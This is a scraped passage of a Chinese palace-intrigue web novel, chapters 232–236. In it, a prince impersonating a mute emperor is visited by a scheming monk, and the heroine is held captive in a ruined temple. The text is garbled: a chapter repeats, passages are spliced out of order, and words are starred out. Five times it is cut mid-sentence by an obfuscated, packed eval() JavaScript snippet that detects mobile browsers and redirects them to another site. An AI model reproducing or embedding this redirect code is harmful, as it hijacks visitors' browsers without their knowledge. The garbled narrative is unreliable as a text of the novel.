安王拿捏着昭德帝该有的神情点了点头。 是啊,他什么话都说不了,要是知趣,你就赶紧自己全都交代了! “这报应来得好快。”下一刻,那灰衣人一声长叹! 安王:……啥? 报应? 他干了什么,怎么就遭报应了? 安王疑惑的模样实在太过明显,灰衣人捋了捋自己的胡须,又摇摇头,露出一个堪称痛心疾首的表情。 “陛下,这都是上天降下的惩罚啊!” 他一迭声地念叨着,安王的脸色也变得越来越难看! 上前两步打断这灰衣人的话,安王又伸出手,用力地往他鼻子上指了指! 上天降不降下惩罚先放到一边儿去,你是干什么的? “贫僧天问。” 面对着安王马上就要戳到自己鼻头上来的手指,这个自称天问的和尚双手合十,不紧不慢地朝着他鞠了一躬。 和尚? 和尚跑到皇宫里来干什么? 而且还是这么突然就出现! 安王的眉头越发紧皱,难以理解地看着这位天问大师。 天问大师也不等他叫起,这时候已经自己直起了腰杆。 他目光平静而慈悲,看着安王,渐渐地又出现了一抹惋惜。 被这天问大师盯着看了片刻,安王便感到自己背上的冷汗又开始流个不停。 这人到底是怎么回事? “圣上。” 仿佛能看懂安王的心思,天问大师这时候又开了口。 “贸然打扰,实在是贫僧的不是,贫僧本是一隐居清修之人,略通占星之术,近日来夜观天象,察觉大梁的情况越发不妙,可以说是到了凶险至极的地步,因此才不得不来向圣上示警!” 安王本就不算清楚的脑袋闻言更是仿佛被用力搅合成了一团浆糊,他直勾勾地盯着这位天问大师。 不夸张地说,这话他根本连一个字都没听懂! “圣上若是再继续置之不理,等上天再次降下惩罚的时候,那天下可就要彻底乱了。” 天问大师又上前一步,看着安王的时候越发变得严肃起来。 安王不知道天下什么时候乱,他只知道自己的脑子这会儿已经彻底乱了。 这都是什么乱七八糟的? 不过,听天问大师的这一番话也不算是全无收获,至少安王听出他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857859|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和真正的昭德帝并不认识。 那就稍微好办一点了! 回身走到桌边,安王挥起毛笔,几个大字重重地落在纸面上。 “宫廷重地,你是如何进来的?放肆!” 看着纸上的内容,天问大师的脸色有了一瞬间的古怪。 “贫僧有些武艺傍身,”他很快又垂下眉眼,“圣上,这不是现在最重要的事!” 天问大师的语气变得有些急迫,安王闻言却又冷笑了一声! 他继续下笔,“你擅闯宫中禁地,胆大包天,还轮得到你说什么是重要的事?” 这是皇宫!不是什么想来就来,想走就走的地方! 把笔一丢,安王便要大步走到御书房外去叫人过来。 “陛下!” 见着他的动作,天问大师的眉头微微一皱,快步走上前去,抬手拦在了安王面前! 这和尚好大的胆子! 安王猛地瞪起双眼,刚张嘴要喊,气势却又在瞬间衰落了下去。 他不能出声!喊不来人! “圣上!”天问大师的眼神这会儿又变得诚恳,“请您再听贫僧说几句!” 安王的眼神依旧充满了愤怒。 他这个样子,说不听有用吗? “贫僧有一计,或许可以帮助圣上将声音恢复如初。”就在这时,天问大师忽然道。 安王又愣住了。 天问大师见状乘胜追击起来。 “贫僧观圣上的喉咙并没有损伤,却不能出声,想来是因为圣上犯下了一个致命的错误。” 这话安王终于能听懂了,但他却并没有感到高兴。 刚刚说他被上天惩罚,这会儿又犯了错误? 他到底干什么了? “贫僧进京的这一路上,听说圣上不久前册封了一位威远王,是一名女子?此乃阴阳颠倒之大谬啊!圣上怎么能如此糊涂?” 安王说不出话,天问大师只能自顾自地说,接连提了几个问题,他才看着安王的眼睛沉默下来。 两人四目相对,安王静静地看了他片刻,又扭头去铺纸抓笔。 “你给朕详细说说?” 第二百三十二章 贫僧天问 谁啊! 陌生的声音忽然在御书房中响起,安王吓得从椅子上弹了出去,一声大喊就在嘴边,又得硬生生忍住! 他迟早得憋死! 捂着胸口呼哧呼哧地喘着粗气,安王瞪大双眼,狂乱地朝着屋中扫视着。 这是谁在说话? 谢无咎方才被东厂的手下叫走了,不知道发现了什么重要的线索,安王看着宫中的太监宫女就心慌,索性也让他们全都下去,只把他自己一个人留在御书房里。 眼下殿门还关得好好的,却有人进来了? “见过陛下!” 就在这时,迎着安王惊疑不定的目光,一道身影不紧不慢地从半空中显现出来。 此人身量瘦高,留着一把雪白的胡须,身穿一件灰色长袍,随着一阵忽然出现,又忽然消失的烟尘,在书桌前缓缓站定。 安王瞪大了双眼,难以置信地望着出现在自己面前的场景。 这人真的是凭空出现的? “你——” 控制不住地吐出一个字,安王又下意识地咬住了自己的舌头。 差点儿露馅! 急急咳嗽了两声做掩护,他再次抬起头来看着这从天而降的灰衣人。 此人鹤发童颜,一张脸看上去比安王自己的样子还年轻一些,可满把的白胡须却让人又觉得他的年龄应该已经不小了。 安王十分确定,他从来没有见过这个人。 这人是谁?怎么能凭空进到御书房来? 想抓笔写字,他的动作却又顿住了。 万一这人是真的和昭德帝认识,那怎么办? 慌慌张张地思索了片刻,安王最后还是指了指对方,又指了指自己的喉咙。 反正他顶着昭德帝的脸,也说不出话来,他是什么意思,就让这人自己猜去吧! “陛下无法出声?”果然,这灰衣人的眼中闪过了一丝疑问。 安王拿捏着昭德帝该有的神情点了点头。 是啊,他什么话都说不了,要是知趣,你就赶紧自己全都交代了! “这报应来得好快。”下一刻,那灰衣人一声长叹! 安王:……啥? 报应? 他干了什么,怎么就遭报应了? 安王疑惑的模样实在太过明显,灰衣人捋了捋自己的胡须,又摇摇头,露出一个堪称痛心疾首的表情。 “陛下,这都是上天降下的惩罚啊!” 他一迭声地念叨着,安王的脸色也变得越来越难看! 上前两步打断这灰衣人的话,安王又伸出手,用力地往他鼻子上指了指! 上天降不降下惩罚先放到一边儿去,你是干什么的? “贫僧天问。” 面对着安王马上就要戳到自己鼻头上来的手指,这个自称天问的和尚双手合十,不紧不慢地朝着他鞠了一躬。 和尚? 和尚跑到皇宫里来干什么? 而且还是这么突然就出现! 安王的眉头越发紧皱,难以理解地看着这位天问大师。 天问大师也不等他叫起,这时候已经自己直起了腰杆。 他目光平静而慈悲,看着安王,渐渐地又出现了一抹惋惜。 被这天问大师盯着看了片刻,安王便感到自己背上的冷汗又开始流个不停。 这人到底是怎么回事? “圣上。” 仿佛能看懂安王的心思,天问大师这时候又开了口。 “贸然打扰,实在是贫僧的不是,贫僧本是一隐居清修之人,略通占星之术,近日来夜观天象,察觉大梁的情况越发不妙,可以说是到了凶险至极的地步,因此才不得不来向圣上示警!” 安王本就不算清楚的脑袋闻言更是仿佛被用力搅合成了一团浆糊,他直勾勾地盯着这位天问大师。 不夸张地说,这话他根本连一个字都没听懂! “圣上若是再继续置之不理,等上天再次降下惩罚的时候,那天下可就要彻底乱了。” 天问大师又上前一步,看着安王的时候越发变得严肃起来。 安王不知道天下什么时候乱,他只知道自己的脑子这会儿已经彻底乱了。 这都是什么乱七八糟的? 不过,听天问大师的这一番话也不算是全无收获,至少安王听出他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857859|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和真正的昭德帝并不认识。 那就稍微好办一点了! 回身走到桌边,安王挥起毛笔,几个大字重重地落在纸面上。 “宫廷重地,你是如何进来的?放肆!” 看着纸上的内容,天问大师的脸色有了一瞬间的古怪。 “贫僧有些武艺傍身,”他很快又垂下眉眼,“圣上,这不是现在最重要的事!” 天问大师的语气变得有些急迫,安王闻言却又冷笑了一声! 他继续下笔,“你擅闯宫中禁地,胆大包天,还轮得到你说什么是重要的事?” 这是皇宫!不是什么想来就来,想走就走的地方! 把笔一丢,安王便要大步走到御书房外去叫人过来。 “陛下!” 见着他的动作,天问大师的眉头微微一皱,快步走上前去,抬手拦在了安王面前! 这和尚好大的胆子! 安王猛地瞪起双眼,刚张嘴要喊,气势却又在瞬间衰落了下去。 他不能出声!喊不来人! “圣上!”天问大师的眼神这会儿又变得诚恳,“请您再听贫僧说几句!” 安王的眼神依旧充满了愤怒。 他这个样子,说不听有用吗? “贫僧有一计,或许可以帮助圣上将声音恢复如初。”就在这时,天问大师忽然道。 安王又愣住了。 天问大师见状乘胜追击起来。 “贫僧观圣上的喉咙并没有损伤,却不能出声,想来是因为圣上犯下了一个致命的错误。” 这话安王终于能听懂了,但他却并没有感到高兴。 刚刚说他被上天惩罚,这会儿又犯了错误? 他到底干什么了? “贫僧进京的这一路上,听说圣上不久前册封了一位威远王,是一名女子?此乃阴阳颠倒之大谬啊!圣上怎么能如此糊涂?” 安王说不出话,天问大师只能自顾自地说,接连提了几个问题,他才看着安王的眼睛沉默下来。 两人四目相对,安王静静地看了他片刻,又扭头去铺纸抓笔。 “你给朕详细说说?” 第二百三十三章 贫僧等圣上的好消息 天问大师的脸上飞快地闪过了一丝笑容。 “此事说来话长,圣上不如先坐下吧?” 安王这会儿不想追究天问大师的反客为主了,随便往椅子上一坐,一双眼睛依旧盯在他身上。 “大师说吧。”他又写了一张大字。 天问大师从容不迫地在椅子上坐了下来,又幽幽地叹了一口气。 “此事还要追溯到多年以前,圣上册封那叶氏的老太君,就错了。” 安王面无表情地看着他。 这旧账是不是翻得有点太远了? “那叶老太君救了圣上,固然是有功,但圣上单独册封她开府,又赐下金杖这般的殊荣,实在是太大了,叶氏无福消受,其女受此影响,先做出招婿这等逆天而行的举措,后又因故早亡,都于此有关。” 安王虽然久居别院,但叶老太君的这一桩事还是知道的,看着天问大师义正词严的这张脸,他忍了又忍才没露出属于自己的表情。 这说的都是什么乱七八糟的? 昭德帝不给叶老太君单独开府,难道要眼睁睁地看着她被夫家**致死? 还有老太君的女儿女婿,他要是没记错,这两位应该是跟随商队运货的途中,遭到了山匪袭击才双双离世的吧? 怎么都一股脑地算到一起去了? 不过安王还是忍住了并未说话,只朝着这位天问大师又点点头,示意他继续说下去。 天问大师也当真不客气。 “恕贫道直言,若是说叶家先前的那些圣宠还算是合理,陛下如今封叶晚竹为威远王,那便是倒行逆施,为天道所不可容忍!” “贫道敢问圣上,这叶姓的女子可曾为大梁做过什么,又建立过多少功勋?无缘无故,怎么能担得起如此大任?圣上,您一时意气,恐怕要害惨了自己啊!” 安王的面上越发表情欠奉,连装出来的那点假笑这会儿都已经无影无踪了。 一来,他其实并不是昭德帝,叶晚竹这个威远王的名号不是他封的,安王不好多话。 但二来,他倒是很想问问面前这位,若是圣旨亲封一位异姓王叫一时意气,那天问大师躲过宫中所有检查,就这么堂而皇之地出现在御书房中,又叫什么? 按着安王的想法,就该立刻**! 这么多话,还敢对圣上出言不逊,暗中威胁! 简直是岂有此理! 安王是个闲散王爷,但这并不代表他身为皇室宗亲,能对冲到自己脸上的大不敬也一笑而过! 深吸一口气,怒火冲天之下,安王倒是越发冷静了下去。 “大师所言有理,可朕圣旨已下,无缘无故不好更改,不知大师可有什么好办法,能阻止上天降罪于朕?”他大笔挥洒,字字锋芒毕露。 幸亏文字不能传达语气,否则,安王这会儿还得多花些力气控制自己的情绪。 他举起手中的纸,微微瞪大双眼,努力做出一副虚心求教的模样。 天问大师眉头微皱,似乎是有些发愁。 “最好的办法便是撤销对叶晚竹的册封,可圣上您若是不愿……” 他长叹一声,垂着眉眼,却欲言又止地又朝着上方看了过来。 安王顿时明白了,再度执笔。 “朕也不是不愿,只是总得有个合适的理由,毕竟眼下京中的情况混乱得很,还是以稳为主最好。” 将这张纸接过去看了看,天问大师眼底有一丝怀疑的情绪一晃而过。 不过他很快就又抬起头来。 “若只是这般,贫道倒是有几个办法,不知道圣上是否愿意听一听?” 这个问题简单,不用下笔,安王直接点了点头。 天问大师捋了捋胡须,表情变得充满深意。 “圣上因为叶氏有功,所以破格封她为王;可若是她恃宠生娇,犯下什么大错,那您要收回成命,不就是理所应当的了吗?” 安王心下微微一惊,又得努力地控制住自己面上的表情。 “此计甚好,大师可还有什么具体的建议?”他又写道。 “东厂都谢无咎,此人手段残佞,心思毒辣,可行一石二鸟之计。”天问大师连眼睛都没眨上一下,便又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863360|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将一个名字说了出来。 这下安王的表情就更加难看了。 一个不够,还要害一双? 这天问大师到底是什么来头? “贫僧言尽于此,圣上,您还有些时间考虑,只是不多了,还请您尽快决断,莫要等天道发威,才后悔莫及。” 安王还在思索,天问大师便已经站起身来,做出了一副要离开的架势。 想到他忽然出现在御书房中的模样,安王一边弄出了点动静,一边笔走龙蛇,“请大师留下地址,朕有什么想不通的地方,还想继续请教大师。” 天问大师看着这纸上的字迹就微微地笑了笑。 “圣上只需按照贫僧的话去办,待时机成熟,陛下与贫僧一定会再见面的。” 说完这话,天问大师便毫不犹豫地拔腿离开。 安王急匆匆地站起身来,快步跟上前去,谁知只是绕过一道屏风的功夫,天问大师的身影便像来时一样,凭空在他眼前消失得无影无踪了。 孤身一人站在空荡荡的御书房中,安王环顾四周,忽然就激灵灵地打了个哆嗦。 这皇宫里到底还安全吗? 他壮着胆子推开殿门,小心翼翼地探头走出御书房,来到院中,这里也是空空如也,不见半个人影。 安王继续往外走,脚下的步伐越来越快,直到走到院门前,才和站在外面的两个小太监对上了面。 “圣,圣上?您有什么吩咐?”两个小太监明显都是一愣。 安王手脚并用,好一番比比划划,才让这两个小太监勉强领悟了自己的意思。 “有没有人出入?”左边那个小太监眨了眨眼,“没有啊圣上,您吩咐之后,小的们一直就在这儿守着呢!” 虽然心知会得到这样的答案,但亲耳听见,安王的心还是从里到外,凉了个彻彻底底! 这天问大师来无影去无踪,连宫中都能随便出入! 这是什么怪物,他又该如何是好? 哭丧着脸叹了口气,安王又接着比划起来。 “九千岁在什么地方?” 第二百三十四章 大师?大师 九千岁谢无咎刚回到东厂,迎面便小跑着来了一个手下,附在他耳边低声说了几句。 谢无咎神情一凛,快步朝着大殿走了过去。 “圣上怎么来了?” “你们都退下吧。” 一边看着满脸写着不安的安王,谢无咎一边摆了摆手,让所有人都退到殿外去。 待殿门关上,安王立刻冲上前来,颠三倒四地将方才发生在御书房中的事情说了一遍。 谢无咎先是讶然,而后渐渐变得面沉如水,眼神也格外凝重。 “他,他忽然在宫中出现,又忽然消失,一点儿都不能被发现,这是什么人,他又想干什么啊?” 仿佛是终于找到了主心骨,安王大口大口地喘着气,不安而惊惶。 谢无咎眉头紧皱,并未立刻回答安王这一连串的问题。 实在是他这个时候,心中也正翻涌着惊涛骇浪。 天问大师? 这是何许人也? 竟然能在宫中自由来去? 更重要的还是他和安王所说的这番话,更是让谢无咎心底升起一抹不祥的预感。 又是一个针对叶晚竹下手的。 这位天问大师,和孟希越之间,是不是有什么—— 思绪至此,谢无咎忽然一眯眼,瞳孔也跟着越发缩成一线。 天问大师。 大师? 他记得,那个南疆的石将军,死前好像就说了大师两个字! 难道就是这位? 若是这般倒也算说得通,可问题便又出现了。 身为出家人,这天问大师的手伸得这么长,是想做什么? 还有,他们到底为什么要这般追着叶晚竹不放? 谢无咎方才急着离开御书房,便是手下探听到了与叶晚竹的下落相关的内容,可等他带人前去,却是一无所获。 现在想想,他追查了那么长的时间,都没能得到一星半点的线索,偏偏就在今天出现了。 是不是和这天问大师也有关系? 此人到底是什么来头? “谢都督,谢都督?” 眼前忽然出现了一只手,谢无咎一个恍神才清醒过来,便和一脸忧虑的安王对上了视线。 放下胳膊,安王眉头紧皱,双手却又控制不住地搓了搓。 “那个……刚刚和那个天问大师说话的时候,我想探探他的口风,所以就假装相信了他的话,还问他要主意,他也给了,还说我们还会再见……他是不是跟上本王了?” 方才在御书房中,安王根本就是迫不得已才被激出了几分潜力,这会儿天问大师离开的时间一长,泄了心气,安王便又后怕起来,越发地心有戚戚然。 他是不是露出了什么破绽? “无妨。” 谢无咎这个时候也彻底回过神来,想了想,又朝着安王摇头。 “这天问大师没有见过真正的圣上,就算有什么怀疑之处,只要没有证据,他就不得不相信。” 安王扮演的昭德帝肯定有不少疏漏之处,但谁敢随便怀疑当朝圣上? “再说,他有求于人,只会帮着王爷维护地位。”他又轻轻地冷笑了一声。 安王闻言有些更糊涂了。 “你是说,那个天问大师有求于我?” 他要求什么? 那态度还跟大爷似的! 谢无咎的冷笑越发慑人。 “大师不是已经告诉王爷了吗?” 要借着圣上的名号,除掉叶晚竹,还有他这个九千岁。 安王一怔,似乎也明白了过来。 “在本督和威远王没死之前,这位天问大师想来还是会和陛下好好说话,也构不成什么威胁的。” 似乎是站得有些累了,谢无咎转身回到椅子上坐下,抿了口杯中的茶水,看向安王的时候,眼中又挂上了一抹深意。 安王这下是彻底明白了。 用他当刀! 这天问大师好大的胆子! 他现在可是当朝圣上! “行啊,既然如此,那就让大师好好等着吧!” 咬牙切齿着,安王的笑容也带上了狠意。 他就不杀了这两位,看那天问大师还有什么好办法! 谢无咎这时候却又轻轻地抬手敲了敲桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863361|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。 “那天问大师有能在宫廷中也自由来去的本事,一定不是一般人,陛下若是过了度,激怒了他,会有什么后果,本督可说不好。” 安王刚刚生出的满腔豪情,顿时就全都变成了萎靡的怨气。 敢情他还是不能为所欲为! “收收放放,只要陛下能把握得住,或许就能多拖一段时日,”谢无咎往椅背中一靠,“您争取的时间越多,东厂这边,调查这位天问大师就能越仔细。” 又一副沉沉的担子朝着安王的肩膀压了下来,他咬了咬牙,“行!” 怎么也不能让这个天问大师得逞,否则,就他这幅想去哪儿就去哪儿的本事,还不得把天都翻过来去! 谢无咎这时候却朝天打了个呼哨。 下一刻,两个全身都包裹在一身劲装中的黑衣男子,忽然就在安王眼前凭空出现。 这场面不由得让他想起了天问大师是如何登场的,安王又打了个哆嗦! “见过陛下!”下一刻,那两人却齐齐朝着安王抱拳行礼。 安王下意识地往后退了半步。 “这是圣上身边的影卫,武功高强,最擅贴身护卫、” 谢无咎站起身来,抬手在这两个影卫的肩膀上各自拍了一下。 “从现在开始,这二人会一直跟在陛下身边,有他们保护,若那天问大师当真敢出手,陛下也不必太过担心!” 闻言,两个影卫又齐齐朝着安王道,“请陛下放心!” 安王从前便也听说过,皇上身边的护卫远不止表面看到的这些,如今亲眼得见,看着两人冷峻利落的模样,他不由得放下心来。 带着两个一出门就消失不见的影卫从东厂出发,回宫的一路上,安王的脚步却又忽然一顿。 这么厉害,这么隐秘的人手,为什么也在这九千岁的手里? 不知为何,安王猛地打了个哆嗦,摇摇头,快步朝着宫中走去。 与此同时,山间一座破败的道观之中,天问大师不知道从什么地方现了身。 “主子,您回来了?” “嗯,那大梁的皇帝不可靠,早做准备。” 第二百三十五章 大师的客人 信步走进同样破败的大殿,天问大师的语气轻飘飘的,朝着副手低语一句,话中的内容却让迎出来的第三人顿时面色一变。 “这,这……怎么会呢?”他皱着眉头,脸上写满了不可置信。 天问大师叹了口气,一脸慈爱地看着面前的半大少年。 “怎么不会呢?”他口气循循善诱,“德慧,你要记住,只要是做事,就有成功和不成功这两种可能,如今不过是不成功罢了。” 半大少年德慧摸着自己光溜溜的脑袋,显然也是个小和尚,他瘪着嘴,神情不忿。 “这大梁皇帝果然是个糊涂蛋!连师父的话都不相信!” “好了。” 轻轻拍饿了拍自己爱徒的肩膀,天问大师的语气依旧十分温和。 “我初来乍到,大梁的圣上不信任我也是理所应当,等日后他就会慢慢明白了,”他略微一顿,“不说这个了,为师让你做的事情,你做得怎么样?” 闻言,小和尚德慧连忙又昂起头,露出了一脸的骄傲。 “那位客人已经被安置好了,现在十分安静!师父,您要去见她吗?” 天问大师弯下腰来看着德慧,“不着急,你先给我说说,这段时间,她都干了什么?” 歪着脑袋想了想,德慧又掰起手指,认认真真地数了起来。 “客人除了吃饭睡觉,就是坐在桌边看窗户外面,也不知道是在看什么,下人进去放饭,她从来都不会跟他们说话,怪无聊的。” “师父,她不会是个哑巴吧?” 听着德慧先前的话,天问大师的表情还算平静,等到了最后一句,却又忍不住笑了起来。 “她可不是哑巴,不过,你观察得很仔细,做的也很好。” 被师父表扬显然是一件非常值得高兴的事情,德慧越发挺直了胸膛,眼里都是骄傲。 “好了,去休息吧。” 天问大师抬手摸了摸他的脑袋,便要起身离开。 德慧小和尚这时候却眼巴巴地跟了上去。 “师父,你是不是要去看客人?能不能带我一起?” “你要去做什么?”天问大师一边问着,脚下的动作却并没有要慢下来的意思。 德慧皱了皱鼻子。 “我要听听她说话,看她到底是不是个哑巴!” 师父曾经也招待过不少客人,大部分都少不了要哭鼻子,可现在这位却从头到尾都是一个表情,连眼神都没怎么变过。 那副冷冷淡淡的模样,德慧看了就觉得心烦! 师父这么厉害,肯定能让这位客人的脸上露出一些别的表情吧? 转了转眼珠子,德慧笑得越发谄媚起来,“师父,你就带我去吧!” 往日里德慧这般说话,天问大师多半都会答应他,可这一次,他却摇了摇头,放在德慧脑袋上的手也微微添了一分力气。 “这次不行。”天问大师语气依旧,却似乎又有什么不一样的地方。 他笑着说:“这位客人可不一般,不能给她太多机会。” 德慧小和尚最终还是失望地离开了,天问大师收回目光,抬脚朝道观后的厢房区域而去。 这道观虽然已经废弃,空无一人,可房间院落却并不显得有多衰败,似乎才刚刚废弃了没多长时间。 只是走在其中,寂静的氛围还是有些令人毛骨悚然。 天问大师独自一人穿过安安静静的院落,在最后一间厢房外停住了脚步。 “大师。” 门前站着两个和尚,都做着武僧的打扮,见到天问大师现身,连忙拱手一礼。 “你们都退下吧,”天问大师将手轻轻一摆,“没有吩咐,不要过来。” 两个武僧闻言没有半分犹豫,立刻抬脚离开。 待这两人的声音彻底消失,天问大师这才不紧不慢地将房门打开。 “看来,你就是**我的那个主使咯?” —— 叶晚竹这会儿正坐在桌边,隔着窗纸旁听了外面三人的谈话。 那天,在安王府一脚踩空,她掉落到暗道里便立刻感觉到有些不对劲。 肉眼看着就在地面下挖掘出来的暗道,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863362|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么深? 下一刻,眼前一黑,叶晚竹才明白过来。 那暗道有上下两层,她无疑是掉进了更深处。 上方谢无咎等人隐隐的声音跟着响起,叶晚竹想出声,却又很快地失去了所有的知觉。 等再清醒过来,她便发现自己被转移到了这间小小的道观厢房之中。 虽然手脚都被绑缚着沉沉的锁链,但外面那些和尚却并没有过多地干涉她的行动,初来乍到的那几天,叶晚竹还在院子里转了几圈。 这倒是意外地让她知道了自己在什么地方。 禹山上的白云观,幽云**先前所在的道观。 幽云**早就被昭德帝下令处置,他恶贯满盈,坏事做了一箩筐,被揭露出来之后,白云观往日的名声立刻便是荡然无存。 不仅如此,以往信奉幽云**的百姓们得知上当受骗,不仅再也不来白云观供奉,还唾弃万分,很快这里便尽数荒废了下去。 得知自己身在白云观,叶晚竹倒是好奇起了另外一件事情。 **她的人是一群和尚,选什么地方不好,偏偏挑了道观? 这件事儿想起来,似乎透露着一丝荒谬,又还有别的什么深意。 可惜这道观里被打扫得干干净净,什么线索也没让她找到。 叶晚竹一连在这里住了**天的功夫,能感到屋外有人窥探着自己,可除此之外,那些和尚们身上便再也没有让她发现什么可疑之处了。 难道这些和尚准备把她就这么困死在屋中? 这不合常理吧? 眼下终于来了一位,听着外面那人说话的口气,叶晚竹便打起了精神。 肯定就是他了! 房门打开,看着出现在外面的又是一个和尚,叶晚竹毫不意外。 听她语气如此平静,天问大师的脚下也只是微微一顿,很快便神色如常地走进了屋中。 他自报家门,听着这个陌生的名号,叶晚竹八风不动,连眼皮都没怎么颤动。 “天问大师是吧?不知道您费尽心思把我绑来,所为何事?” 第二百三十六章 大师嘴里没实话 “绑来?威远王怎么会这样想?” 叶晚竹的话音落下,天问大师便立刻眉头一扬,露出了一个非常惊讶的表情。 “难道不是?”叶晚竹也学着他的模样瞪大了双眼。 “当然不是,”天问大师一脸的义正词严,“贫僧是邀请威远王来做客的。” 在这种地方? 叶晚竹但笑不语,抬眼往这破败空旷的道观里看了一圈,又将目光落回了天问大师的身上。 “大师,从您进屋说的话开始,我才知道您是何许人也,以咱们两个这聊胜于无的交情,您贸然请我来做客,好像不合适吧?” 被关在白云观中的这几天,叶晚竹已经将自己前后两辈子的记忆翻来覆去地回忆了好几遍,十分确定她从来没有听说过这个天问大师的名号。 昭德帝对佛道之术都没什么特别的喜好,京中虽然都有道观寺庙,但没有引导,向来也不成什么气候。 所以,这位看起来得道高僧一样的天问大师,是个什么来头? 托着下巴静静地打量着眼前慈眉善目的和尚,叶晚竹不紧不慢地将自己的问题说了出来。 天问大师又笑了笑,手中捻着一串佛珠,一下一下地发出轻微的细想,越发显得出尘。 “贫僧不过是一山野清修之人,不足为道,威远王自然不曾听过,不过,您的大名,贫僧可是如雷贯耳啊。” 叶晚竹听着他这不紧不慢的腔调,着实有些心烦。 这弯弯绕绕的风格总让她想起萧家人,而这显然会让叶晚竹的情绪变得更加糟糕。 “大师有话就直说吧,以我现在的样子,想来也对您构不成什么威胁,”她挤出一个假笑,“别紧张,我不**。” 天问大师捻动佛珠的手微微地顿了一下。 “威远王果然如传闻一般,做事雷厉风行,着实让贫僧佩服。”他却还在尽职尽责地说着废话。 人在屋檐下,叶晚竹默默地做了个深呼吸,皮笑肉不笑地点了点头。 “大师,说正题吧。” 她的耐心,真的非常有限! 天问大师又笑着看了叶晚竹片刻。 “殿下,”他猝不及防地开口,“贫僧一直都想知道,先知先觉,是一种什么滋味?” “先知先觉?” 叶晚竹心里猛地一咯噔,又本能地压住,没让面上泄露出半分,甚至还疑惑地皱起了眉头。 “这可就奇怪了,方才听大师所言,您似乎是个会夜观星象的,先知先觉不正应该是您的本事吗?怎么会问起我来了?我只是个空壳王爷,什么都不会呢。” 天问大师口中的这个先知先觉,是她想的那个意思吗? 叶晚竹感到自己的心又不规律地跳了几下,抬起头来,又正好对上了天问大师那双仿佛能洞察一切的眼睛。 “非也,非也。” 就这么意有所指地看着叶晚竹,天问大师嘴角一翘,露出了一个更加饱含深意的笑容。 “贫僧虽然会占星卜卦,可终究只能是凭空猜测,比起殿下亲眼所见,亲身体会,终究还是差了些。” 叶晚竹闻言心中更是翻涌起了无数惊涛骇浪。 听这天问大师的话,分明是知道她两世为人的事情? 这怎么可能呢? 夜观星象,还能看出这些东西来? 从天问大师的角度看去,叶晚竹一直完美无瑕的伪装表情,这会儿终于微微裂开了一道缺口。 他微微一笑。 “殿下有如此大能,却屈居于谢无咎这样一个太监之下,难道就不觉得憋屈难过?况且,就算是昭德帝亲口册封了您如今的地位,也不过是为了补偿当年因为疏忽自大,而对殿下造成的伤害罢了。” “所托非人,还被折磨了那么长的时间,付出了那么惨痛的代价,殿下如今想来,难道就没有不甘?” 天问大师的语气十分轻柔,带着循循善诱的意味,一句句慢慢地问着,似乎是在替叶晚竹打抱不平。 “大师是什么意思?”叶晚竹的眼神似乎变得茫然,“我的仇,我已经亲手报了。”

